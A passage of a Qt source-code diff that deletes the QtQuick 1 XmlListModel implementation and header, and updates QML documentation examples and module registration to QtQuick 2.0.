b.open(QIODevice::ReadOnly); - - QXmlQuery subquery; - subquery.bindVariable(QLatin1String("inputDocument"), &b); - - QStringList keyRoleResults; - getValuesOfKeyRoles(*currentJob, &keyRoleResults, &subquery); - - // See if any values of key roles have been inserted or removed. - - if (currentJob->keyRoleResultsCache.isEmpty()) { - currentResult->inserted << qMakePair(0, currentResult->size); - } else { - if (keyRoleResults != currentJob->keyRoleResultsCache) { - QStringList temp; - for (int i=0; ikeyRoleResultsCache.count(); i++) { - if (!keyRoleResults.contains(currentJob->keyRoleResultsCache[i])) - addIndexToRangeList(¤tResult->removed, i); - else - temp << currentJob->keyRoleResultsCache[i]; - } - - for (int i=0; iinserted, i); - } - } - } - } - currentResult->keyRoleResultsCache = keyRoleResults; - - // Get the new values for each role. - //### we might be able to condense even further (query for everything in one go) - const QStringList &queries = currentJob->roleQueries; - for (int i = 0; i < queries.size(); ++i) { - QList resultList; - if (!queries[i].isEmpty()) { - subquery.setQuery(currentJob->prefix + QLatin1String("(let $v := string(") + queries[i] + QLatin1String(") return if ($v) then ") + queries[i] + QLatin1String(" else \"\")")); - if (subquery.isValid()) { - QXmlResultItems resultItems; - subquery.evaluateTo(&resultItems); - QXmlItem item(resultItems.next()); - while (!item.isNull()) { - resultList << item.toAtomicValue(); //### we used to trim strings - item = resultItems.next(); - } - } else { - emit error(currentJob->roleQueryErrorId.at(i), queries[i]); - } - } - //### should warn here if things have gone wrong. - while (resultList.count() < currentResult->size) - resultList << QVariant(); - currentResult->data << resultList; - b.seek(0); - } - - //this method is much slower, but works better for incremental loading - /*for (int j = 0; j < m_size; ++j) { - QList resultList; - for (int i = 0; i < m_roleObjects->size(); ++i) { - QDeclarative1XmlListModelRole *role = m_roleObjects->at(i); - subquery.setQuery(m_prefix.arg(j+1) + role->query()); - if (role->isStringList()) { - QStringList data; - subquery.evaluateTo(&data); - resultList << QVariant(data); - //qDebug() << data; - } else { - QString s; - subquery.evaluateTo(&s); - if (role->isCData()) { - //un-escape - s.replace(QLatin1String("<"), QLatin1String("<")); - s.replace(QLatin1String(">"), QLatin1String(">")); - s.replace(QLatin1String("&"), QLatin1String("&")); - } - resultList << s.trimmed(); - //qDebug() << s; - } - b.seek(0); - } - m_modelData << resultList; - }*/ -} - -class QDeclarative1XmlListModelPrivate : public QObjectPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1XmlListModel) -public: - QDeclarative1XmlListModelPrivate() - : isComponentComplete(true), size(-1), highestRole(Qt::UserRole) - , reply(0), status(QDeclarative1XmlListModel::Null), progress(0.0) - , queryId(-1), roleObjects(), redirectCount(0) {} - - - void notifyQueryStarted(bool remoteSource) { - Q_Q(QDeclarative1XmlListModel); - progress = remoteSource ? 0.0 : 1.0; - status = QDeclarative1XmlListModel::Loading; - errorString.clear(); - emit q->progressChanged(progress); - emit q->statusChanged(status); - } - - bool isComponentComplete; - QUrl src; - QString xml; - QString query; - QString namespaces; - int size; - QList roles; - QStringList roleNames; - int highestRole; - QNetworkReply *reply; - QDeclarative1XmlListModel::Status status; - QString errorString; - qreal progress; - int queryId; - QStringList keyRoleResultsCache; - QList roleObjects; - static void append_role(QDeclarativeListProperty *list, QDeclarative1XmlListModelRole *role); - static void clear_role(QDeclarativeListProperty *list); - QList > data; - int redirectCount; -}; - - -void QDeclarative1XmlListModelPrivate::append_role(QDeclarativeListProperty *list, QDeclarative1XmlListModelRole *role) -{ - QDeclarative1XmlListModel *_this = qobject_cast(list->object); - if (_this && role) { - int i = _this->d_func()->roleObjects.count(); - _this->d_func()->roleObjects.append(role); - if (_this->d_func()->roleNames.contains(role->name())) { - qmlInfo(role) << QObject::tr("\"%1\" duplicates a previous role name and will be disabled.").arg(role->name()); - return; - } - _this->d_func()->roles.insert(i, _this->d_func()->highestRole); - _this->d_func()->roleNames.insert(i, role->name()); - ++_this->d_func()->highestRole; - } -} - -//### clear needs to invalidate any cached data (in data table) as well -// (and the model should emit the appropriate signals) -void QDeclarative1XmlListModelPrivate::clear_role(QDeclarativeListProperty *list) -{ - QDeclarative1XmlListModel *_this = static_cast(list->object); - _this->d_func()->roles.clear(); - _this->d_func()->roleNames.clear(); - _this->d_func()->roleObjects.clear(); -} - -/*! - \qmlclass XmlListModel QDeclarative1XmlListModel - \inqmlmodule QtQuick 1 - \ingroup qml-working-with-data - \since QtQuick 1.0 - \brief The XmlListModel element is used to specify a read-only model using XPath expressions. - - XmlListModel is used to create a read-only model from XML data. It can be used as a data source - for view elements (such as ListView, PathView, GridView) and other elements that interact with model - data (such as \l Repeater). - - For example, if there is a XML document at http://www.mysite.com/feed.xml like this: - - \code - - - ... - - - A blog post - Sat, 07 Sep 2010 10:00:01 GMT - - - Another blog post - Sat, 07 Sep 2010 15:35:01 GMT - - - - \endcode - - A XmlListModel could create a model from this data, like this: - - \qml - import QtQuick 1.0 - - XmlListModel { - id: xmlModel - source: "http://www.mysite.com/feed.xml" - query: "/rss/channel/item" - - XmlRole { name: "title"; query: "title/string()" } - XmlRole { name: "pubDate"; query: "pubDate/string()" } - } - \endqml - - The \l {XmlListModel::query}{query} value of "/rss/channel/item" specifies that the XmlListModel should generate - a model item for each \c in the XML document. - - The XmlRole objects define the - model item attributes. Here, each model item will have \c title and \c pubDate - attributes that match the \c title and \c pubDate values of its corresponding \c . - (See \l XmlRole::query for more examples of valid XPath expressions for XmlRole.) - - The model could be used in a ListView, like this: - - \qml - ListView { - width: 180; height: 300 - model: xmlModel - delegate: Text { text: title + ": " + pubDate } - } - \endqml - - \image qml-xmllistmodel-example.png - - The XmlListModel data is loaded asynchronously, and \l status - is set to \c XmlListModel.Ready when loading is complete. - Note this means when XmlListModel is used for a view, the view is not - populated until the model is loaded. - - - \section2 Using key XML roles - - You can define certain roles as "keys" so that when reload() is called, - the model will only add and refresh data that contains new values for - these keys. - - For example, if above role for "pubDate" was defined like this instead: - - \qml - XmlRole { name: "pubDate"; query: "pubDate/string()"; isKey: true } - \endqml - - Then when reload() is called, the model will only add and reload - items with a "pubDate" value that is not already - present in the model. - - This is useful when displaying the contents of XML documents that - are incrementally updated (such as RSS feeds) to avoid repainting the - entire contents of a model in a view. - - If multiple key roles are specified, the model only adds and reload items - with a combined value of all key roles that is not already present in - the model. - - \sa {RSS News} -*/ - -QDeclarative1XmlListModel::QDeclarative1XmlListModel(QObject *parent) - : QListModelInterface(*(new QDeclarative1XmlListModelPrivate), parent) -{ - connect(globalXmlQuery(), SIGNAL(queryCompleted(QDeclarative1XmlQueryResult)), - this, SLOT(queryCompleted(QDeclarative1XmlQueryResult))); - connect(globalXmlQuery(), SIGNAL(error(void*,QString)), - this, SLOT(queryError(void*,QString))); -} - -QDeclarative1XmlListModel::~QDeclarative1XmlListModel() -{ -} - -/*! - \qmlproperty list QtQuick1::XmlListModel::roles - - The roles to make available for this model. -*/ -QDeclarativeListProperty QDeclarative1XmlListModel::roleObjects() -{ - Q_D(QDeclarative1XmlListModel); - QDeclarativeListProperty list(this, d->roleObjects); - list.append = &QDeclarative1XmlListModelPrivate::append_role; - list.clear = &QDeclarative1XmlListModelPrivate::clear_role; - return list; -} - -QHash QDeclarative1XmlListModel::data(int index, const QList &roles) const -{ - Q_D(const QDeclarative1XmlListModel); - QHash rv; - for (int i = 0; i < roles.size(); ++i) { - int role = roles.at(i); - int roleIndex = d->roles.indexOf(role); - rv.insert(role, roleIndex == -1 ? QVariant() : d->data.value(roleIndex).value(index)); - } - return rv; -} - -QVariant QDeclarative1XmlListModel::data(int index, int role) const -{ - Q_D(const QDeclarative1XmlListModel); - int roleIndex = d->roles.indexOf(role); - return (roleIndex == -1) ? QVariant() : d->data.value(roleIndex).value(index); -} - -/*! - \qmlproperty int QtQuick1::XmlListModel::count - The number of data entries in the model. -*/ -int QDeclarative1XmlListModel::count() const -{ - Q_D(const QDeclarative1XmlListModel); - return d->size; -} - -QList QDeclarative1XmlListModel::roles() const -{ - Q_D(const QDeclarative1XmlListModel); - return d->roles; -} - -QString QDeclarative1XmlListModel::toString(int role) const -{ - Q_D(const QDeclarative1XmlListModel); - int index = d->roles.indexOf(role); - if (index == -1) - return QString(); - return d->roleNames.at(index); -} - -/*! - \qmlproperty url QtQuick1::XmlListModel::source - The location of the XML data source. - - If both \c source and \l xml are set, \l xml is used. -*/ -QUrl QDeclarative1XmlListModel::source() const -{ - Q_D(const QDeclarative1XmlListModel); - return d->src; -} - -void QDeclarative1XmlListModel::setSource(const QUrl &src) -{ - Q_D(QDeclarative1XmlListModel); - if (d->src != src) { - d->src = src; - if (d->xml.isEmpty()) // src is only used if d->xml is not set - reload(); - emit sourceChanged(); - } -} - -/*! - \qmlproperty string QtQuick1::XmlListModel::xml - This property holds the XML data for this model, if set. - - The text is assumed to be UTF-8 encoded. - - If both \l source and \c xml are set, \c xml is used. -*/ -QString QDeclarative1XmlListModel::xml() const -{ - Q_D(const QDeclarative1XmlListModel); - return d->xml; -} - -void QDeclarative1XmlListModel::setXml(const QString &xml) -{ - Q_D(QDeclarative1XmlListModel); - if (d->xml != xml) { - d->xml = xml; - reload(); - emit xmlChanged(); - } -} - -/*! - \qmlproperty string QtQuick1::XmlListModel::query - An absolute XPath query representing the base query for creating model items - from this model's XmlRole objects. The query should start with '/' or '//'. -*/ -QString QDeclarative1XmlListModel::query() const -{ - Q_D(const QDeclarative1XmlListModel); - return d->query; -} - -void QDeclarative1XmlListModel::setQuery(const QString &query) -{ - Q_D(QDeclarative1XmlListModel); - if (!query.startsWith(QLatin1Char('/'))) { - qmlInfo(this) << QCoreApplication::translate("QDeclarative1XmlRoleList", "An XmlListModel query must start with '/' or \"//\""); - return; - } - - if (d->query != query) { - d->query = query; - reload(); - emit queryChanged(); - } -} - -/*! - \qmlproperty string QtQuick1::XmlListModel::namespaceDeclarations - The namespace declarations to be used in the XPath queries. - - The namespaces should be declared as in XQuery. For example, if a requested document - at http://mysite.com/feed.xml uses the namespace "http://www.w3.org/2005/Atom", - this can be declared as the default namespace: - - \qml - XmlListModel { - source: "http://mysite.com/feed.xml" - query: "/feed/entry" - namespaceDeclarations: "declare default element namespace 'http://www.w3.org/2005/Atom';" - - XmlRole { name: "title"; query: "title/string()" } - } - \endqml -*/ -QString QDeclarative1XmlListModel::namespaceDeclarations() const -{ - Q_D(const QDeclarative1XmlListModel); - return d->namespaces; -} - -void QDeclarative1XmlListModel::setNamespaceDeclarations(const QString &declarations) -{ - Q_D(QDeclarative1XmlListModel); - if (d->namespaces != declarations) { - d->namespaces = declarations; - reload(); - emit namespaceDeclarationsChanged(); - } -} - -/*! - \qmlmethod object QtQuick1::XmlListModel::get(int index) - - Returns the item at \a index in the model. - - For example, for a model like this: - - \qml - XmlListModel { - id: model - source: "http://mysite.com/feed.xml" - query: "/feed/entry" - XmlRole { name: "title"; query: "title/string()" } - } - \endqml - - This will access the \c title value for the first item in the model: - - \js - var title = model.get(0).title; - \endjs -*/ -QDeclarativeV8Handle QDeclarative1XmlListModel::get(int index) const -{ - // Must be called with a context and handle scope - Q_D(const QDeclarative1XmlListModel); - - if (index < 0 || index >= count()) - return QDeclarativeV8Handle::fromHandle(v8::Undefined()); - - QDeclarativeEngine *engine = qmlContext(this)->engine(); - QV8Engine *v8engine = QDeclarativeEnginePrivate::getV8Engine(engine); - v8::Local rv = v8::Object::New(); - for (int ii = 0; ii < d->roleObjects.count(); ++ii) - rv->Set(v8engine->toString(d->roleObjects[ii]->name()), - v8engine->fromVariant(d->data.value(ii).value(index))); - - return QDeclarativeV8Handle::fromHandle(rv); -} - -/*! - \qmlproperty enumeration QtQuick1::XmlListModel::status - Specifies the model loading status, which can be one of the following: - - \list - \o XmlListModel.Null - No XML data has been set for this model. - \o XmlListModel.Ready - The XML data has been loaded into the model. - \o XmlListModel.Loading - The model is in the process of reading and loading XML data. - \o XmlListModel.Error - An error occurred while the model was loading. See errorString() for details - about the error. - \endlist - - \sa progress - -*/ -QDeclarative1XmlListModel::Status QDeclarative1XmlListModel::status() const -{ - Q_D(const QDeclarative1XmlListModel); - return d->status; -} - -/*! - \qmlproperty real QtQuick1::XmlListModel::progress - - This indicates the current progress of the downloading of the XML data - source. This value ranges from 0.0 (no data downloaded) to - 1.0 (all data downloaded). If the XML data is not from a remote source, - the progress becomes 1.0 as soon as the data is read. - - Note that when the progress is 1.0, the XML data has been downloaded, but - it is yet to be loaded into the model at this point. Use the status - property to find out when the XML data has been read and loaded into - the model. - - \sa status, source -*/ -qreal QDeclarative1XmlListModel::progress() const -{ - Q_D(const QDeclarative1XmlListModel); - return d->progress; -} - -/*! - \qmlmethod void QtQuick1::XmlListModel::errorString() - - Returns a string description of the last error that occurred - if \l status is XmlListModel::Error. -*/ -QString QDeclarative1XmlListModel::errorString() const -{ - Q_D(const QDeclarative1XmlListModel); - return d->errorString; -} - -void QDeclarative1XmlListModel::classBegin() -{ - Q_D(QDeclarative1XmlListModel); - d->isComponentComplete = false; -} - -void QDeclarative1XmlListModel::componentComplete() -{ - Q_D(QDeclarative1XmlListModel); - d->isComponentComplete = true; - reload(); -} - -/*! - \qmlmethod QtQuick1::XmlListModel::reload() - - Reloads the model. - - If no key roles have been specified, all existing model - data is removed, and the model is rebuilt from scratch. - - Otherwise, items are only added if the model does not already - contain items with matching key role values. - - \sa {Using key XML roles}, XmlRole::isKey -*/ -void QDeclarative1XmlListModel::reload() -{ - Q_D(QDeclarative1XmlListModel); - - if (!d->isComponentComplete) - return; - - globalXmlQuery()->abort(d->queryId); - d->queryId = -1; - - if (d->size < 0) - d->size = 0; - - if (d->reply) { - d->reply->abort(); - if (d->reply) { - // abort will generally have already done this (and more) - d->reply->deleteLater(); - d->reply = 0; - } - } - - if (!d->xml.isEmpty()) { - d->queryId = globalXmlQuery()->doQuery(d->query, d->namespaces, d->xml.toUtf8(), &d->roleObjects, d->keyRoleResultsCache); - d->notifyQueryStarted(false); - - } else if (d->src.isEmpty()) { - d->queryId = XMLLISTMODEL_CLEAR_ID; - d->notifyQueryStarted(false); - QTimer::singleShot(0, this, SLOT(dataCleared())); - - } else { - d->notifyQueryStarted(true); - QNetworkRequest req(d->src); - req.setRawHeader("Accept", "application/xml,*/*"); - d->reply = qmlContext(this)->engine()->networkAccessManager()->get(req); - QObject::connect(d->reply, SIGNAL(finished()), this, SLOT(requestFinished())); - QObject::connect(d->reply, SIGNAL(downloadProgress(qint64,qint64)), - this, SLOT(requestProgress(qint64,qint64))); - } -} - -#define XMLLISTMODEL_MAX_REDIRECT 16 - -void QDeclarative1XmlListModel::requestFinished() -{ - Q_D(QDeclarative1XmlListModel); - - d->redirectCount++; - if (d->redirectCount < XMLLISTMODEL_MAX_REDIRECT) { - QVariant redirect = d->reply->attribute(QNetworkRequest::RedirectionTargetAttribute); - if (redirect.isValid()) { - QUrl url = d->reply->url().resolved(redirect.toUrl()); - d->reply->deleteLater(); - d->reply = 0; - setSource(url); - return; - } - } - d->redirectCount = 0; - - if (d->reply->error() != QNetworkReply::NoError) { - d->errorString = d->reply->errorString(); - disconnect(d->reply, 0, this, 0); - d->reply->deleteLater(); - d->reply = 0; - - int count = this->count(); - d->data.clear(); - d->size = 0; - if (count > 0) { - emit itemsRemoved(0, count); - emit countChanged(); - } - - d->status = Error; - d->queryId = -1; - emit statusChanged(d->status); - } else { - QByteArray data = d->reply->readAll(); - if (data.isEmpty()) { - d->queryId = XMLLISTMODEL_CLEAR_ID; - QTimer::singleShot(0, this, SLOT(dataCleared())); - } else { - d->queryId = globalXmlQuery()->doQuery(d->query, d->namespaces, data, &d->roleObjects, d->keyRoleResultsCache); - } - disconnect(d->reply, 0, this, 0); - d->reply->deleteLater(); - d->reply = 0; - - d->progress = 1.0; - emit progressChanged(d->progress); - } -} - -void QDeclarative1XmlListModel::requestProgress(qint64 received, qint64 total) -{ - Q_D(QDeclarative1XmlListModel); - if (d->status == Loading && total > 0) { - d->progress = qreal(received)/total; - emit progressChanged(d->progress); - } -} - -void QDeclarative1XmlListModel::dataCleared() -{ - Q_D(QDeclarative1XmlListModel); - QDeclarative1XmlQueryResult r; - r.queryId = XMLLISTMODEL_CLEAR_ID; - r.size = 0; - r.removed << qMakePair(0, count()); - r.keyRoleResultsCache = d->keyRoleResultsCache; - queryCompleted(r); -} - -void QDeclarative1XmlListModel::queryError(void* object, const QString& error) -{ - // Be extra careful, object may no longer exist, it's just an ID. - Q_D(QDeclarative1XmlListModel); - for (int i=0; iroleObjects.count(); i++) { - if (d->roleObjects.at(i) == static_cast(object)) { - qmlInfo(d->roleObjects.at(i)) << QObject::tr("invalid query: \"%1\"").arg(error); - return; - } - } - qmlInfo(this) << QObject::tr("invalid query: \"%1\"").arg(error); -} - -void QDeclarative1XmlListModel::queryCompleted(const QDeclarative1XmlQueryResult &result) -{ - Q_D(QDeclarative1XmlListModel); - if (result.queryId != d->queryId) - return; - - int origCount = d->size; - bool sizeChanged = result.size != d->size; - - d->size = result.size; - d->data = result.data; - d->keyRoleResultsCache = result.keyRoleResultsCache; - d->status = Ready; - d->errorString.clear(); - d->queryId = -1; - - bool hasKeys = false; - for (int i=0; iroleObjects.count(); i++) { - if (d->roleObjects[i]->isKey()) { - hasKeys = true; - break; - } - } - if (!hasKeys) { - if (!(origCount == 0 && d->size == 0)) { - emit itemsRemoved(0, origCount); - emit itemsInserted(0, d->size); - emit countChanged(); - } - - } else { - for (int i=0; istatus); -} - - - -QT_END_NAMESPACE - -#include diff --git a/src/qtquick1/util/qdeclarativexmllistmodel_p.h b/src/qtquick1/util/qdeclarativexmllistmodel_p.h deleted file mode 100644 index 811207a26e..0000000000 --- a/src/qtquick1/util/qdeclarativexmllistmodel_p.h +++ /dev/null @@ -1,212 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEXMLLISTMODEL_H -#define QDECLARATIVEXMLLISTMODEL_H - -#include -#include - -#include -#include - -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarativeContext; -class QDeclarative1XmlListModelRole; -class QDeclarative1XmlListModelPrivate; - -struct QDeclarative1XmlQueryResult { - int queryId; - int size; - QList > data; - QList > inserted; - QList > removed; - QStringList keyRoleResultsCache; -}; - -class Q_AUTOTEST_EXPORT QDeclarative1XmlListModel : public QListModelInterface, public QDeclarativeParserStatus -{ - Q_OBJECT - Q_INTERFACES(QDeclarativeParserStatus) - Q_ENUMS(Status) - - Q_PROPERTY(Status status READ status NOTIFY statusChanged) - Q_PROPERTY(qreal progress READ progress NOTIFY progressChanged) - Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged) - Q_PROPERTY(QString xml READ xml WRITE setXml NOTIFY xmlChanged) - Q_PROPERTY(QString query READ query WRITE setQuery NOTIFY queryChanged) - Q_PROPERTY(QString namespaceDeclarations READ namespaceDeclarations WRITE setNamespaceDeclarations NOTIFY namespaceDeclarationsChanged) - Q_PROPERTY(QDeclarativeListProperty roles READ roleObjects) - Q_PROPERTY(int count READ count NOTIFY countChanged) - Q_CLASSINFO("DefaultProperty", "roles") - -public: - QDeclarative1XmlListModel(QObject *parent = 0); - ~QDeclarative1XmlListModel(); - - virtual QHash data(int index, const QList &roles = (QList())) const; - virtual QVariant data(int index, int role) const; - virtual int count() const; - virtual QList roles() const; - virtual QString toString(int role) const; - - QDeclarativeListProperty roleObjects(); - - QUrl source() const; - void setSource(const QUrl&); - - QString xml() const; - void setXml(const QString&); - - QString query() const; - void setQuery(const QString&); - - QString namespaceDeclarations() const; - void setNamespaceDeclarations(const QString&); - - Q_INVOKABLE QDeclarativeV8Handle get(int index) const; - - enum Status { Null, Ready, Loading, Error }; - Status status() const; - qreal progress() const; - - Q_INVOKABLE QString errorString() const; - - virtual void classBegin(); - virtual void componentComplete(); - -Q_SIGNALS: - void statusChanged(QDeclarative1XmlListModel::Status); - void progressChanged(qreal progress); - void countChanged(); - void sourceChanged(); - void xmlChanged(); - void queryChanged(); - void namespaceDeclarationsChanged(); - -public Q_SLOTS: - // ### need to use/expose Expiry to guess when to call this? - // ### property to auto-call this on reasonable Expiry? - // ### LastModified/Age also useful to guess. - // ### Probably also applies to other network-requesting types. - void reload(); - -private Q_SLOTS: - void requestFinished(); - void requestProgress(qint64,qint64); - void dataCleared(); - void queryCompleted(const QDeclarative1XmlQueryResult &); - void queryError(void* object, const QString& error); - -private: - Q_DECLARE_PRIVATE(QDeclarative1XmlListModel) - Q_DISABLE_COPY(QDeclarative1XmlListModel) -}; - -class Q_AUTOTEST_EXPORT QDeclarative1XmlListModelRole : public QObject -{ - Q_OBJECT - Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged) - Q_PROPERTY(QString query READ query WRITE setQuery NOTIFY queryChanged) - Q_PROPERTY(bool isKey READ isKey WRITE setIsKey NOTIFY isKeyChanged) -public: - QDeclarative1XmlListModelRole() : m_isKey(false) {} - ~QDeclarative1XmlListModelRole() {} - - QString name() const { return m_name; } - void setName(const QString &name) { - if (name == m_name) - return; - m_name = name; - emit nameChanged(); - } - - QString query() const { return m_query; } - void setQuery(const QString &query) - { - if (query.startsWith(QLatin1Char('/'))) { - qmlInfo(this) << tr("An XmlRole query must not start with '/'"); - return; - } - if (m_query == query) - return; - m_query = query; - emit queryChanged(); - } - - bool isKey() const { return m_isKey; } - void setIsKey(bool b) { - if (m_isKey == b) - return; - m_isKey = b; - emit isKeyChanged(); - } - - bool isValid() { - return !m_name.isEmpty() && !m_query.isEmpty(); - } - -Q_SIGNALS: - void nameChanged(); - void queryChanged(); - void isKeyChanged(); - -private: - QString m_name; - QString m_query; - bool m_isKey; -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1XmlListModel) -QML_DECLARE_TYPE(QDeclarative1XmlListModelRole) - -QT_END_HEADER - -#endif // QDECLARATIVEXMLLISTMODEL_H diff --git a/src/qtquick1/util/util.pri b/src/qtquick1/util/util.pri deleted file mode 100644 index c5e68b78e3..0000000000 --- a/src/qtquick1/util/util.pri +++ /dev/null @@ -1,69 +0,0 @@ -INCLUDEPATH += $$PWD - -SOURCES += \ - $$PWD/qdeclarativeapplication.cpp \ - $$PWD/qdeclarativeview.cpp \ - $$PWD/qdeclarativeconnections.cpp \ - $$PWD/qdeclarativepackage.cpp \ - $$PWD/qdeclarativeanimation.cpp \ - $$PWD/qdeclarativesystempalette.cpp \ - $$PWD/qdeclarativespringanimation.cpp \ - $$PWD/qdeclarativesmoothedanimation.cpp \ - $$PWD/qdeclarativestate.cpp\ - $$PWD/qdeclarativetransitionmanager.cpp \ - $$PWD/qdeclarativestateoperations.cpp \ - $$PWD/qdeclarativepropertychanges.cpp \ - $$PWD/qdeclarativestategroup.cpp \ - $$PWD/qdeclarativetransition.cpp \ -# $$PWD/qdeclarativelistmodel.cpp\ -# $$PWD/qdeclarativelistmodelworkeragent.cpp \ - $$PWD/qdeclarativelistaccessor.cpp \ - $$PWD/qdeclarativeopenmetaobject.cpp \ - $$PWD/qdeclarativetimeline.cpp \ - $$PWD/qdeclarativetimer.cpp \ - $$PWD/qdeclarativebind.cpp \ - $$PWD/qdeclarativepixmapcache.cpp \ - $$PWD/qdeclarativebehavior.cpp \ - $$PWD/qdeclarativefontloader.cpp \ - $$PWD/qdeclarativestyledtext.cpp \ - $$PWD/qdeclarativeutilmodule.cpp\ - -HEADERS += \ - $$PWD/qdeclarativeapplication_p.h \ - $$PWD/qdeclarativeutilmodule_p.h\ - $$PWD/qdeclarativeview.h \ - $$PWD/qdeclarativeconnections_p.h \ - $$PWD/qdeclarativepackage_p.h \ - $$PWD/qdeclarativeanimation_p.h \ - $$PWD/qdeclarativeanimation_p_p.h \ - $$PWD/qdeclarativesystempalette_p.h \ - $$PWD/qdeclarativespringanimation_p.h \ - $$PWD/qdeclarativesmoothedanimation_p.h \ - $$PWD/qdeclarativesmoothedanimation_p_p.h \ - $$PWD/qdeclarativestate_p.h\ - $$PWD/qdeclarativestateoperations_p.h \ - $$PWD/qdeclarativepropertychanges_p.h \ - $$PWD/qdeclarativestate_p_p.h\ - $$PWD/qdeclarativetransitionmanager_p_p.h \ - $$PWD/qdeclarativestategroup_p.h \ - $$PWD/qdeclarativetransition_p.h \ -# $$PWD/qdeclarativelistmodel_p.h\ -# $$PWD/qdeclarativelistmodel_p_p.h\ -# $$PWD/qdeclarativelistmodelworkeragent_p.h \ - $$PWD/qdeclarativelistaccessor_p.h \ - $$PWD/qdeclarativeopenmetaobject_p.h \ - $$PWD/qdeclarativetimeline_p_p.h \ - $$PWD/qdeclarativetimer_p.h \ - $$PWD/qdeclarativebind_p.h \ - $$PWD/qdeclarativepixmapcache_p.h \ - $$PWD/qdeclarativebehavior_p.h \ - $$PWD/qdeclarativefontloader_p.h \ - $$PWD/qdeclarativestyledtext_p.h \ - -contains(QT_CONFIG, xmlpatterns) { - QT+=xmlpatterns - SOURCES += $$PWD/qdeclarativexmllistmodel.cpp - HEADERS += $$PWD/qdeclarativexmllistmodel_p.h -} else { - DEFINES += QT_NO_XMLPATTERNS -} diff --git a/src/quick/items/qquickitem.cpp b/src/quick/items/qquickitem.cpp index cc1705feca..30a23db4de 100644 --- a/src/quick/items/qquickitem.cpp +++ b/src/quick/items/qquickitem.cpp @@ -138,7 +138,7 @@ void QQuickItemPrivate::registerAccessorProperties() The following example moves the Y axis of the \l Rectangle elements while still allowing the \l Row element to lay the items out as if they had not been transformed: \qml - import QtQuick 1.0 + import QtQuick 2.0 Row { Rectangle { @@ -4382,7 +4382,7 @@ qreal QQuickItem::implicitWidth() const \qml // Label.qml - import QtQuick 1.1 + import QtQuick 2.0 Item { property alias icon: image.source diff --git a/src/quick/items/qquickitemsmodule.cpp b/src/quick/items/qquickitemsmodule.cpp index b7bf5145dd..3d1e96da84 100644 --- a/src/quick/items/qquickitemsmodule.cpp +++ b/src/quick/items/qquickitemsmodule.cpp @@ -230,18 +230,9 @@ void QQuickItemsModule::defineModule() return; initialized = true; - // XXX todo - Remove before final integration... - QByteArray mode = qgetenv("QMLSCENE_IMPORT_NAME"); QByteArray name = "QtQuick"; int majorVersion = 2; int minorVersion = 0; - if (mode == "quick1") { - majorVersion = 1; - } else if (mode == "qt") { - name = "Qt"; - majorVersion = 4; - minorVersion = 7; - } qt_quickitems_defineModule(name, majorVersion, minorVersion); } diff --git a/src/quick/items/qquicktextedit.cpp b/src/quick/items/qquicktextedit.cpp index 4d5776df56..9d1179efb8 100644 --- a/src/quick/items/qquicktextedit.cpp +++ b/src/quick/items/qquicktextedit.cpp @@ -2074,7 +2074,7 @@ void QQuickTextEditPrivate::updateDefaultTextOption() Only relevant on platforms, which provide virtual keyboards. \code - import QtQuick 1.0 + import QtQuick 2.0 TextEdit { id: textEdit text: "Hello world!" @@ -2117,7 +2117,7 @@ void QQuickTextEdit::openSoftwareInputPanel() Only relevant on platforms, which provide virtual keyboards. \code - import QtQuick 1.0 + import QtQuick 2.0 TextEdit { id: textEdit text: "Hello world!" diff --git a/src/quick/items/qquicktextinput.cpp b/src/quick/items/qquicktextinput.cpp index 5311b2dc04..65850b9a08 100644 --- a/src/quick/items/qquicktextinput.cpp +++ b/src/quick/items/qquicktextinput.cpp @@ -1003,7 +1003,7 @@ void QQuickDoubleValidator::resetLocaleName() input of integers between 11 and 31 into the text input: \code - import QtQuick 1.0 + import QtQuick 2.0 TextInput{ validator: IntValidator{bottom: 11; top: 31;} focus: true @@ -2366,7 +2366,7 @@ void QQuickTextInput::moveCursorSelection(int pos, SelectionMode mode) Only relevant on platforms, which provide virtual keyboards. \qml - import QtQuick 1.0 + import QtQuick 2.0 TextInput { id: textInput text: "Hello world!" @@ -2409,7 +2409,7 @@ void QQuickTextInput::openSoftwareInputPanel() Only relevant on platforms, which provide virtual keyboards. \qml - import QtQuick 1.0 + import QtQuick 2.0 TextInput { id: textInput text: "Hello world!" diff --git a/src/quick/items/qquickview.cpp b/src/quick/items/qquickview.cpp index cac6be2aa0..7e3969c131 100644 --- a/src/quick/items/qquickview.cpp +++ b/src/quick/items/qquickview.cpp @@ -421,13 +421,8 @@ void QQuickViewPrivate::setRootObject(QObject *obj) << "If your example is using QML 2, (such as qmlscene) and the .qml file you" << endl << "loaded has 'import QtQuick 1.0' or 'import Qt 4.7', this error will occur." << endl << endl - << "To load files with 'import QtQuick 1.0' with QML 2, specify:" << endl - << " QMLSCENE_IMPORT_NAME=quick1" << endl - << "on as an environment variable prior to launching the application." << endl - << endl - << "To load files with 'import Qt 4.7' with QML 2, specify:" << endl - << " QMLSCENE_IMPORT_NAME=qt" << endl - << "on as an environment variable prior to launching the application." << endl; + << "To load files with 'import QtQuick 1.0' or 'import Qt 4.7', use the" << 